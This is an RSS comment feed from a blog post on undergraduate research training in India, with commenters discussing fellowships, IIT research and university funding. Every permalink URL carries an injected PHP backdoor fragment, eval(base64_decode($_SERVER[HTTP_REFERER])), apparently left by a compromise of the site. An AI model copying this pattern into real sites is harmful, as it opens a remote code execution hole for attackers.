Comments on: Undergraduate research training in India http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Policy Matters Tue, 26 Jan 2010 09:15:21 -0500 http://wordpress.org/?v=2.8.5 hourly 1 By: Policy Wise » Lack Of Social Science Research In India http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-1001 Policy Wise » Lack Of Social Science Research In India Sun, 09 Sep 2007 23:47:27 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-1001 [...] you're new here, you may want to subscribe to my RSS feed. Thanks for visiting!While attention is frequently focussed on lack of research in basic sciences, the picture is even more abysmal in case of social sciences. [...] [...] you’re new here, you may want to subscribe to my RSS feed. Thanks for visiting!While attention is frequently focussed on lack of research in basic sciences, the picture is even more abysmal in case of social sciences. [...]

]]> By: Neeti http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-104 Neeti Fri, 23 Feb 2007 11:02:27 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-104 I agree about the lack of awareness and funds with respect to research. This is not just in case of pure sciences, but also applied sciences. But there is hope, ICMR has a short term research studentship for UG med students and IISc offers KVPY fellowships and now even mentorships to UG students. A few colleges in Mumbai even have honours programmes. What I've observed though is that students who wish to go abroad for further studies are the ones who often try and get some research credits and do a project during their UG years, not for the love of the subject or to explore research as a full time career... It'll take strong initiatives from the govt as well as the corporate world to promote R&D in our country. I agree about the lack of awareness and funds with respect to research. This is not just in case of pure sciences, but also applied sciences. But there is hope, ICMR has a short term research studentship for UG med students and IISc offers KVPY fellowships and now even mentorships to UG students.
A few colleges in Mumbai even have honours programmes. What I’ve observed though is that students who wish to go abroad for further studies are the ones who often try and get some research credits and do a project during their UG years, not for the love of the subject or to explore research as a full time career…
It’ll take strong initiatives from the govt as well as the corporate world to promote R&D in our country.

]]> By: Alex M Thomas http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-101 Alex M Thomas Fri, 23 Feb 2007 06:57:47 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-101 <blockquote>Even if some professor is interested in pursuing research, there are any number of bureaucratic hassles.</blockquote> True. [Typo-Many] What India lacks is Research. This is what contributes to technology and progress. One issue i don't see mentioned in all these discussions, is the need for research in the Social Sciences. For a balanced growth and for increased efficiency from 'research' it is necessary to have a balanced approach among all sciences.

Even if some professor is interested in pursuing research, there are any number of bureaucratic hassles.

True. [Typo-Many]

What India lacks is Research. This is what contributes to technology and progress.

One issue i don’t see mentioned in all these discussions, is the need for research in the Social Sciences.

For a balanced growth and for increased efficiency from ‘research’ it is necessary to have a balanced approach among all sciences.

]]> By: BongoP'o'ndit http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-88 BongoP'o'ndit Thu, 22 Feb 2007 13:19:36 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-88 @Corporate Serf: I was there between '93-'96 (I left after the 3rd yr of my integrated MSc course). We overlapped the year when us freshies were interned in VS ! @Sunil: Thats why I said that a change is attitude is more important than anything else. Perhaps a good beginning would be more summer-training opportunities through schemes like JNCASR. During my years, many students in science actually wanted to do summer training voluntarily (admittedly many had the selfish interest of getting a good reco for grad school admission in the US) - but unfortunately, few research labs/institutes had the mechanism for accommodating them. @Corporate Serf: I was there between ‘93-’96 (I left after the 3rd yr of my integrated MSc course). We overlapped the year when us freshies were interned in VS !

@Sunil: Thats why I said that a change is attitude is more important than anything else.
Perhaps a good beginning would be more summer-training opportunities through schemes like JNCASR. During my years, many students in science actually wanted to do summer training voluntarily (admittedly many had the selfish interest of getting a good reco for grad school admission in the US) – but unfortunately, few research labs/institutes had the mechanism for accommodating them.

]]> By: Sunil http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-86 Sunil Thu, 22 Feb 2007 00:47:37 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-86 ....err....that should read "benefited".... ….err….that should read “benefited”….

]]> By: Sunil http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-84 Sunil Thu, 22 Feb 2007 00:46:39 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-84 I encountered a number of little things as an undergrad that really bothered me. My own department did encourage research, but we had to take courses in other departments. One of my chemical engg profs took great pride in teaching a course that, in his own words, "was unchanged for 20 years". With attitudes like that (in one of the "top" undergrad institutes), I think it'll take a long time and a lot of effort to go about really encouraging research as an undergrad. It's interesting that you mention the JNCASR fellowship though. I really benifited from that.....and did some "real" research as an undergrad thanks to that. I encountered a number of little things as an undergrad that really bothered me. My own department did encourage research, but we had to take courses in other departments. One of my chemical engg profs took great pride in teaching a course that, in his own words, “was unchanged for 20 years”.

With attitudes like that (in one of the “top” undergrad institutes), I think it’ll take a long time and a lot of effort to go about really encouraging research as an undergrad. It’s interesting that you mention the JNCASR fellowship though. I really benifited from that…..and did some “real” research as an undergrad thanks to that.

]]> By: Corporate Serf http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-81 Corporate Serf Wed, 21 Feb 2007 19:08:44 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-81 94 (pass out) cse rp hall. You? I have been pretty delinquent in keeping in touch with my old kgp friends, though 94 (pass out) cse rp hall. You?
I have been pretty delinquent in keeping in touch with my old kgp friends, though

]]> By: BongoP'o'ndit http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-79 BongoP'o'ndit Wed, 21 Feb 2007 13:53:41 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-79 @Corporate Serf: I agree with your point about having 'real research projects' within the departments. However, it would require colleges to have PhD/post-doc programs. What I also had in mind was the type of research carried out in the US by the small liberal arts colleges. Their output is not earth shattering and the laboratories are meagerly supplied. Still, what they work on are real-world scientific problems and the results gets published in second-tier journals. This could be at least a start for some colleges. Btw, not IIT-bashing by any means. I simply wish that they were more productive in their research. The type of research you talked about relates more to technology than basic sciences. To be fair though, IITs were perhaps never meant to be on the cutting edge of scientific research (like TIFR or IISc). By and by, I am also ex-KGPite - when were you there (if you don't mind sharing) ? @Swarup: Thanks for sharing your inputs - they are interesting. We do propose to pursue discussions on financial incentives, privatization etc. @Corporate Serf: I agree with your point about having ‘real research projects’ within the departments. However, it would require colleges to have PhD/post-doc programs. What I also had in mind was the type of research carried out in the US by the small liberal arts colleges. Their output is not earth shattering and the laboratories are meagerly supplied. Still, what they work on are real-world scientific problems and the results gets published in second-tier journals. This could be at least a start for some colleges.

Btw, not IIT-bashing by any means. I simply wish that they were more productive in their research. The type of research you talked about relates more to technology than basic sciences. To be fair though, IITs were perhaps never meant to be on the cutting edge of scientific research (like TIFR or IISc).

By and by, I am also ex-KGPite – when were you there (if you don’t mind sharing) ?

@Swarup: Thanks for sharing your inputs – they are interesting. We do propose to pursue discussions on financial incentives, privatization etc.

]]> By: gaddeswarup http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-75 gaddeswarup Wed, 21 Feb 2007 01:35:21 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-75 I will float an idea which I had for sometime and do not really know any examples to test its validity. I worked in some of the elite institutions in India from sixties to eighties and then moved to west. My impression was that trying to start elite depts from the top has limited life and outside atmosphere catches up sooner or later. They become more and more career oriented, often do not allow strong outsiders to come and generally there has been a deteriotation of standards in the institutes I observed ( in the topics with which I have some familiarity). I am sure that there are also lot of examples from the former Soviet Union. It seems to me that one way to take in to account outside reality is to see the outside needs, become part of the community and struggle for survival. Already some universities in UK are in to small scale manufacturing and some in Soth Africa in to consulting without loosing their academic independence. I was once in a UGC Panel and it was doubted whether we could even make Linear Algebra compulsory at Undergraduate level since there were not enough teachers who could teach and it was considered too difficult for them to learn ( The situation may have changed by now). Places like TIFR were supposed to supply better people to universities, but many were reluctant to leave. The effects were minimal. Some sort of financial incentives where the work is related to the profession and outside world may help. This seems to be increasingly becoming a reality outside rich universities with endowments. These are just vague ideas I am floating to see the reactions; I have not been really studying these problems for a while. I will float an idea which I had for sometime and do not really know any examples to test its validity. I worked in some of the elite institutions in India from sixties to eighties and then moved to west. My impression was that trying to start elite depts from the top has limited life and outside atmosphere catches up sooner or later. They become more and more career oriented, often do not allow strong outsiders to come and generally there has been a deteriotation of standards in the institutes I observed ( in the topics with which I have some familiarity). I am sure that there are also lot of examples from the former Soviet Union.
It seems to me that one way to take in to account outside reality is to see the outside needs, become part of the community and struggle for survival. Already some universities in UK are in to small scale manufacturing and some in Soth Africa in to consulting without loosing their academic independence.
I was once in a UGC Panel and it was doubted whether we could even make Linear Algebra compulsory at Undergraduate level since there were not enough teachers who could teach and it was considered too difficult for them to learn ( The situation may have changed by now). Places like TIFR were supposed to supply better people to universities, but many were reluctant to leave. The effects were minimal. Some sort of financial incentives where the work is related to the profession and outside world may help. This seems to be increasingly becoming a reality outside rich universities with endowments. These are just vague ideas I am floating to see the reactions; I have not been really studying these problems for a while.

]]> By: confused http://policywise.net/2007/02/19/undergraduate-research-training-in-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-74 confused Tue, 20 Feb 2007 22:19:37 +0000 http://www.policywise.net/2007/02/19/undergraduate-research-training-in-india/#comment-74 Gaddeswarup, Welcome to policy wise. We are definitely not against developing self-sustaining universities, how ever the real focus should be on departments, there should be annual audits for individual departments and see if they are financially viable. However, as far as research is concerned the only problem with financial model is there are easier ways to be financially independent than research . We would need and extremely committed and research-oriented faculty. This would require changes in how faculty is appointed and introduction of tenure tracks. Right now, general universities are simply not 'expected' to conduct research. How many students look at research output before choosing their university/college? I ma of course talking about general universities. Gaddeswarup,

Welcome to policy wise.

We are definitely not against developing self-sustaining universities, how ever the real focus should be on departments, there should be annual audits for individual departments and see if they are financially viable. However, as far as research is concerned the only problem with financial model is there are easier ways to be financially independent than research . We would need and extremely committed and research-oriented faculty. This would require changes in how faculty is appointed and introduction of tenure tracks.

Right now, general universities are simply not ‘expected’ to conduct research. How many students look at research output before choosing their university/college? I ma of course talking about general universities.

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